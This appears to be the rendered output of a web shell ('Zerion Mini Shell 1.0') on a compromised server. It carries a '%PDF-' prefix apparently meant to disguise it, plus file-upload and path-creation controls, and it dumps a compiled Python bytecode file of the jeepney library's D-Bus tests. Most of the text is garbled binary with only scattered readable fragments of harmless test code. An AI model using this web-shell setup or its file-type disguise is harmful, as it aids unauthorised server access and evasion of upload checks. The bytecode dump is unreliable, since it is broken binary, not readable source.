%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python3/dist-packages/jeepney/io/tests/__pycache__/
Upload File :
Create Path :
Current File : //usr/lib/python3/dist-packages/jeepney/io/tests/__pycache__/test_blocking.cpython-312.pyc

�

+�c�����ddlZddlmZmZmZddlmZmZddlm	Z	m
Z
ddlmZejjed��Zej d	��Zd
�Zeddd
��Zd�Zd�Zd�Zd�Zd�Zy)�N)�new_method_call�MessageType�DBusAddress)�message_bus�	MatchRule)�open_dbus_connection�Proxy�)�have_session_buszTests require DBus session bus)�reasonc#�VK�td��5}|��ddd�y#1swYyxYw�w)N�SESSION)�bus)r)�conns �@/usr/lib/python3/dist-packages/jeepney/io/tests/test_blocking.py�session_connrs)����	�)�	,����
����s�
)��	)�&�)c�>�|jjd�sJ�y)N�:)�unique_name�
startswith)rs r�test_connectrs���#�#�.�.�s�3�3�3�zorg.freedesktop.DBusz/org/freedesktop/DBuszorg.freedesktop.DBus.Peer)�bus_name�object_path�	interfacec��ttd�}|j|d��}|jjt
jk(sJ�|jdk(sJ�ttd�}|j|dd��}|dk(sJ�y)N�Ping���timeout�T)r �unwrap)r�bus_peer�send_and_get_reply�header�message_typer�
method_return�body)r�	ping_call�reply�
reply_bodys    r�test_send_and_get_replyr,s�����&�1�I��+�+�I�q�+�A�E��<�<�$�$��(A�(A�A�A�A��:�:�������&�1�I��0�0��A�d�0�S�J�����rc��tt|d��}d}|j|�}|dvsJ�|j|d��\}|dusJ�y)Nrrz+io.gitlab.takluyver.jeepney.examples.Server>�r
���)�_timeoutT)r	r�RequestName�NameHasOwner)r�proxy�name�res�	has_owners     r�
test_proxyr9%sX���+�|�Q�7�E�8�D�
�
�
�D�
!�C��,�����#�#�D�1�#�5�J�I�����rc���tt|�}d}tdtjtjdtj
��}|j
d|�|j|�|j|�5}|j|�\}|dk(sJ�|j|d��}|j|d	|jfk(sJ�	ddd�y#1swYyxYw)
Nz6io.gitlab.takluyver.jeepney.tests.blocking_test_filter�signal�NameOwnerChanged)�type�senderr�member�pathrr
r0r�)
r	rrrrr�add_arg_condition�AddMatch�filterr3�recv_until_filteredr(r)rrr6�
match_rule�matchesr7�
signal_msgs       r�test_filterrI.s���
��\�
*�C�C�D��
��#�#��'�'�!�
�
$�
$��J�� � ��D�)��L�L���	�	�	�Z�	(�G�G����t�$����a�x��x�!�5�5�g�q�5�I�
����4��\�-E�-E�"F�F�F�F�
G�G�G�s
�AC�C c�h�t|d�}tdd��5}|j|d��}ddd�jjt
jusJ�|jdjd�5}|j�d	k(sJ�	ddd�y#1swY�oxYw#1swYyxYw)
N�GetFDrT�r�
enable_fdsrrrzw+�readme)
rrr$r%r&rr'r(�to_file�read)�respond_with_fd�
getfd_callrr*�fs     r�test_recv_fdrTGs��� ��'�:�J�	�)��	=�?���'�'�
�A�'�>��?��<�<�$�$��(A�(A�A�A�A�	���A��	�	�t�	$�$���v�v�x�8�#�#�#�$�$�	?�?��$�$�s�B�<B(�B%�(B1c��|\}}t|dd|f�}tdd��5}|j|d��}ddd�jjt
jusJ�|jd|k(sJ�y#1swY�FxYw)	N�ReadFD�hrTrLrrr)rrr$r%r&rr'r()�temp_file_and_contents�read_from_fd�	temp_file�data�readfd_callrr*s       r�test_send_fdr]Qs���,�O�I�t�!�,��#�	�|�L�K�	�)��	=�@���'�'��Q�'�?��@��<�<�$�$��(A�(A�A�A�A��:�:�a�=�D� � � �	@�@�s�A;�;B)�pytest�jeepneyrrr�jeepney.bus_messagesrr�jeepney.io.blockingrr	�utilsr�mark�skipif�
pytestmark�fixturerrr#r,r9rIrTr]r!rr�<module>rgs���
�=�=�7�;�#�
�[�[�
�
���!A� ��
�������
4��
#�'�)�����G�2$�!r

Zerion Mini Shell 1.0